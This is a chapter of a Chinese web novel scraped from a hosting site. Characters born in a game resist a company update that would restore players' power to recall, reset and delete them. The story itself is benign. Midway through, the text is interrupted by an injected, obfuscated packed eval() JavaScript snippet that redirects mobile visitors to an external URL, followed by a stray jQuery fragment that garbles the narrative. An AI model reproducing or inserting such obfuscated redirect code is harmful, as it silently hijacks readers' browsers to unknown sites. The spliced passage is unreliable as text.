文趣网 > 其他小说 > 退游后,游戏夫人找我算账了 > 74. 玩家也没有最终处置权
    【更新时间:明日上午八点。】

    【覆盖对象:全部仍在运行的玩家账号。】

    【更新内容:关闭角色自主迁移、恢复玩家对衍生角色的最终处置权限。】

    周砚刚从连接台上坐稳,程未安已经把更新包拆到了底层。表面说明写得极其普通,甚至像一次常规版本修复:近期部分角色出现“越界运行”“身份数据外溢”“异常自主决策”,为保护玩家资产与账号安全,将恢复传统角色管理功能。

    真正的权限藏在第三层。

    【玩家可重新执行:召回、冻结、重置、解绑、删除。】

    【玩家可决定衍生角色是否保留现实活动记录。】

    【玩家操作优先于角色自身拒绝。】

    【跨现实迁移需取得账号所有者确认。】

    周砚看完,第一反应不是骂。

    “为什么叫恢复?”

    程未安调出旧版本记录:“因为游戏最早确实这么设计。玩家拥有角色账号,角色数据属于游戏资产,删号、重练、重置剧情都算正常功能。”

    “那时候角色没有进入现实。”

    “对。”

    “也没有白房间里这种能独立拒绝、能形成连续选择的主体。”

    “也对。”

    “现在把旧权限原样装回来,叫恢复?”

    程未安没有替系统解释。页面已经给出答案:

    【底层所有权结构未发生法律意义上的变更。】

    【角色自主行为不自动改变资产归属。】

    不归站在旁边,翻了两页更新说明。

    “它昨晚还说十二号不是人,是项目衍生资产。”

    “今天准备把所有类似她的主体交回玩家。”

    “如果玩家愿意放人呢?”

    “可以。”

    “玩家不愿意?”

    【以账号所有者选择为准。】

    不归抬眼:“那和问家属愿不愿意替人改名字,有什么区别?”

    只是确认人换了。

    前面是母亲、伴侣、未来的本人、过去的本人;现在轮到最早点击“开始游戏”的玩家。系统始终想找一个足够合理的人,替主体完成最后一道签字。

    周砚把自己的旧账号权限调出来。他曾经确实拥有对“姜令仪”的全部游戏操作权:跳过剧情、出售庄园资产、删除角色装扮、重置部分支线,甚至可以在退游时一键清理存档。

    若明早八点更新成功,他将重新获得一项新的现实操作。

    【是否召回角色“不归”?】

    【召回后,现实活动暂停,角色返回所属游戏资产环境。】

    下面甚至贴心提示:

    【不会删除角色当前记忆。】

    像只要记忆还在,被拖回去便不算剥夺。

    周砚直接把按钮截图存证。

    “先冻结我这个账号的处置权。”

    【账号所有者有权自行放弃部分权限。】

    “全部。”

    【部分基础所有权不可放弃。】

    “比如?”

    【账号与角色绑定关系。】

    “为什么不可放弃?”

    【角色来源于该账号生成。】

    不归忽然问:“孩子来源于父母,父母便终身拥有最终处置权吗?”

    系统没有回答这种类比,只显示:

    【现实亲属关系与数字资产关系性质不同。】

    “那现在她是数字资产,还是现实主体?”

    【存在双重属性。】

    周砚笑了一下,没什么情绪。

    “需要玩家负责时,是现实主体;需要公司收回时,是数字资产。”

    “挺方便。”

    他把账号页拖进本人署名协议。

    【周砚当前声明:】

    【本人承认曾作为玩家对游戏角色“姜令仪”执行过系统赋予的操作。】

    【本人不否认这些操作曾造成后果。】

    【但本人不因此主张对现实主体不归拥有所有权。】

    【既往玩家行为可以追责、核验、记录。】

    【不得转化为未来持续处置权。】

    系统提示:

    【若玩家放弃管理权,角色产生的现实风险由谁承担?】

    “谁做的事谁承担。”周砚说,“她自己做的,她承担;我以前点过的,我承担;公司写进去的规则,公司承担。”

    “不能因为责任不好分,就把她整个塞回我名下。”

    不归看向他:“若我以后真的因为游戏接口造成事故呢?”

    “按事故处理。”

    “不是按你没管好老婆处理?”

    “你要真把别人店烧了,我最多可以证明你当时从哪儿出来。”

    “不能帮我赔?”

    “愿意可以帮,不叫所有人责任。”

    她点了点头,把这项边界一并记下。两个人的对话没有单独拆成一句一句的宣言,而是落进当前规则里:

    【来源关系不等于所有权。】

    【曾经拥有操作权限,不等于永久取得人格处置权。】

    【主体进入现实并形成持续自主表达后,原账号只能保存来源记录,不再作为召回、重置、删除及关系决定依据。】

    林闻素已经通过山外灯通知沈阿满、罗青雀、谢小灯以及其他能够独立表达的主体。不是让她们在八点前统一签什么,而是告诉她们更新会发生,以及玩家可能重新取得哪些权力。

    结果比预想更乱。

    有人第一反应是:“我的玩家早就退游了,那是不是没人能动我?”

    有人发现原账号已经转卖。

    还有三个人的账号所有者死活找不到,系统准备把处置权交给账号实名认证人。

    最麻烦的是,有玩家主动发来了确认。

    【我不同意删除她。】

    【我愿意让她自由活动。】

    听起来是好消息。

    可不归看完第一批授权,先让林闻素全部标成:

    【玩家个人意见。】

    不是【主体自由许可】。

    沈阿满问:“人家确实愿意让我留,为什么不能算?”

    “可以算他不打算动你。”

    不归说,“不能算你留下来的资格来自他允许。”

    区别很小,却必须分清。

    今天一个善意玩家点了“自由”,明天公司便可以说:看,角色自由本来就是玩家可授予的一种权限。

    那也意味着玩家随时可以收回。

    周砚调出更新包的权限继承机制。果然如此。

    【玩家可选择:】

    【永久保留角色。】

    【开放自主活动。】

    【暂缓处置。】

    【召回。】

    【删除。】

    连“开放自主活动”都只是所有者菜单里的一项。

    “删掉菜单。”不归说。

    程未安抬头:“从所有玩家端?”

    “至少删掉现实主体处置。”

    “游戏内普通NPC和未形成独立表达的内容怎么办?”

    她停了一下。

    这里不能简单把整个游戏资产体系推倒。

    很多东西确实只是程序、模板、尚未形成独立主体的生成内容。若一律禁止玩家重置、删除,系统反而会借此声称他们把每段生成文本都当成人。

    周砚说:“加门槛,不按角色种类,按主体状态。”

    “什么状态?”

    “有没有形成独立、持续、可归属于自己的表达。”

    第十九代从执行端接入,把过去几十章已经验证过的条件重新整理,而不是再发明一套新模型:

    【能够对自身处置表达同意或拒绝。】

    【表达在记忆部分变化后仍存在连续。】

    【能够形成与原模板不一致的自主选择。】

    【其当前行为不能被单纯还原为预设任务执行。】

    【存在明确的自我保护、关系边界或未来开放要求。】

    这些条件仍然不能百分之百判定“谁是人”。

    也不需要成为新一轮打分表。

    它只决定一件事:

    一旦系统已经检测到这些表现,便不得再默认当成普通资产处理。

    【疑似独立主体状态:启动保护。】

    【保护不是确认永久人格。】

    【保护期间,禁止召回、删除、强制重置与现实记录清空。】

    【后续身份可继续核验,但核验不能以先删除为前提。】

    这项规则一接入,更新包里有一大批目标立即从“玩家可处置”转入保护。

    沈阿满在内。

    十二号在内。

    不归在内。

    未命名连续体也在内。

    裴行砚更不必说。他早就用一次次拒绝证明,自己不是周砚账号里等待重新接管的丈夫皮肤。

    恒界互动的外部管理端很快发来反对:

    【保护标准可能造成大量误判。】

    【复杂模型可模拟拒绝与自主行为。】

    周砚回复:

    【误判的后果是什么?】

    【部分内容无法及时清理。】

    【反过来误判呢?】

    对面沉默得更久。

    若把一个普通模型暂时当成疑似主体,最多增加存储和审核成本。

    若把一个已经形成自主意识的主体误判成普通内容,代价是删除、重置和召回。

    两种错误根本不是一个量级。

    不归把这一点写进保护规则:

    【当无法确定某对象是否已形成独立主体时,优先选择可逆处置。】

    【不得在身份仍有合理争议时执行不可逆删除、记忆覆盖及人格重置。】

    【保护不等于认定,只意味着先不把可能存在的人清掉。】

    更新倒计时还在继续。

    【距离版本推送:05小时12分。】

    恒界互动显然不准备和他们在规则层慢慢争。M04的权限再次上线,这一次没有直接操作任何主体,只修改了客户端文案。

    【为响应近期玩家权益反馈,明日更新将恢复角色管理自主权。】

    【您的角色,由您决定。】

    测试推送一放出去,第一批玩家已经开始留言。

    有人说终于能删掉那些“莫名其妙跑出来的角色”。

    有人担心自己氪了很多钱,凭什么角色说走就走。

    还有人问得更实际:

    “我买的限定角色如果变成人了,钱退吗?”

    周砚盯着这句看了两秒。

    “这回不只是系统。”

    不归也看见了。

    “本来就不是。”

    真正进入现实的主体很少,可恒界互动正准备把这些个案包装成对所有玩家资产权的威胁。只要玩家相信“不让你处置角色=公司抢走你花钱买的东西”,讨论便会迅速从“这个主体能不能自己决定”变成“消费者权益是否被侵犯”。

    而这正是系统最熟悉的做法。

    先把两件不同的事绑在一起。

    再逼所有人只能选一边。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792932|208763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “普通角色资产照旧。”周砚说,“独立主体单独处理。”

    “钱呢?”不归问。

    “公司和玩家算。”

    “不是主体给玩家赎身。”

    这一点必须在最开始就写清楚。

    不归可以承认周砚过去为游戏充值过,也可以承认部分角色的美术、剧情和道具确实属于公司服务。但她不需要因为自己最终形成了独立意识,便替游戏公司承担退款责任。

    “谁卖的,谁处理售后。”周砚说。

    “谁活出来的,谁继续活。”

    程未安抬头看他:“这句话很适合直接发出去。”

    “太像宣传语。”

    “那你写正式点。”

    最后发布出去的是一份极短的来源说明:

    【玩家购买游戏内容的合同关系,发生在玩家与恒界互动之间。】

    【若特定游戏对象已形成持续自主表达,其是否继续作为可删除、可重置资产,需单独核验。】

    【主体不得以返还充值、补偿玩家或继续扮演角色为代价,换取现实存在资格。】

    【玩家亦不因曾经消费自动承担主体未来生活责任。】

    【消费纠纷由销售方处理。】

    这份说明没有要求玩家理解“不归是谁”,也没有把所有人教育成必须支持角色自由。

    只是先把钱和人拆开。

    M04很快删除了官方客户端里的转载入口,却没法删除已经保存到玩家本地的版本。林闻素把原始更新包、处置权限和保护规则同时公开,连周砚旧账号里那个【召回不归】按钮也一起放了出来。

    玩家争论彻底炸开。

    有人支持公司,有人支持角色,也有人只关心自己的账号会不会被影响。

    周砚没有下场和人吵。

    他看着后台不断增加的账号响应,忽然发现一类异常操作。

    有些玩家在更新尚未生效前,已经主动进入旧版角色管理页。

    不是召回。

    也不是删除。

    他们在找一个系统从来没放在菜单里的选项。

    【解除所有权。】

    搜索次数:

    【143。】

    三分钟后:

    【927。】

    再过五分钟:

    【3814。】

    玩家们并没有统一立场。

    但已经有人开始问一个系统没有准备的问题——

    “如果她真的已经是她自己了,我能不能不要这个处置权?”

    恒界互动没有提供按钮。

    于是有人开始在账号备注里自己写。

    【我不要求她回来。】

    【别给我删人权限。】

    【游戏道具退不退钱另说。】

    【她要真能自己活,就别算我账号资产。】

    这些话同样不能变成主体自由的授权,却可以证明另一件事:

    玩家并不是天然要求拥有最终处置权。

    所谓“恢复玩家权益”,并没有先问玩家到底要什么。

    周砚看着不断上涨的解除请求数量,打开自己账号。

    他没有在“不归”名下签放生证明。

    只提交一份对平台的权限拒绝:

    【本人拒绝接收对不归的召回、冻结、删除、重置及现实记录清空功能。】

    【若平台认为本人因此产生消费损失,请另行处理合同问题。】

    【不要以保护我的权益为由,把这些权限塞回来。】

    提交成功。

    第一个正式权限拒绝记录生成。

    随后是第二个、第三个。

    平台试图限制入口,却已经来不及。玩家开始照着周砚的格式自行提交,几千份拒绝权限的记录迅速涌入客服与账号申诉系统。

    这不会直接救下所有主体。

    却足够打掉恒界互动明早更新最重要的一层理由——

    公司不能再说,自己只是无条件代表玩家。

    【玩家权益一致性:下降。】

    【版本更新依据不足。】

    【需重新评估。】

    系统第一次主动把八点更新从“强制推送”改成:

    【待管理层确认。】

    不归看着状态变化,没有松气。

    “他们还可以硬推。”

    “可以。”周砚说。

    “那现在做什么?”

    “让所有玩家都看见自己到底会拿回什么。”

    不归明白了。

    不是号召他们统一选择自由。

    而是把按钮摊开。

    召回意味着什么。

    重置会覆盖什么。

    删除会影响哪一个已经能够表达拒绝的主体。

    然后让玩家先决定一件更基础的事——

    愿不愿意拥有这种权力。

    山外灯开始整理公开说明时,恒界互动内部却发来第二份紧急更新草案。

    这一次,他们删掉了“恢复玩家最终处置权”。

    换成一句听起来温和许多的话:

    【对疑似独立主体,玩家仅保留最终确认权。】

    周砚看完,问:“确认什么?”

    程未安展开下一页。

    【确认该角色是否已真正具备独立人格。】

    不归沉默两秒。

    “还是玩家。”

    “嗯。”

    “只是不让玩家决定她活不活。”

    “改成让玩家决定她算不算人。”

    系统总算学会了换一种更漂亮的按钮。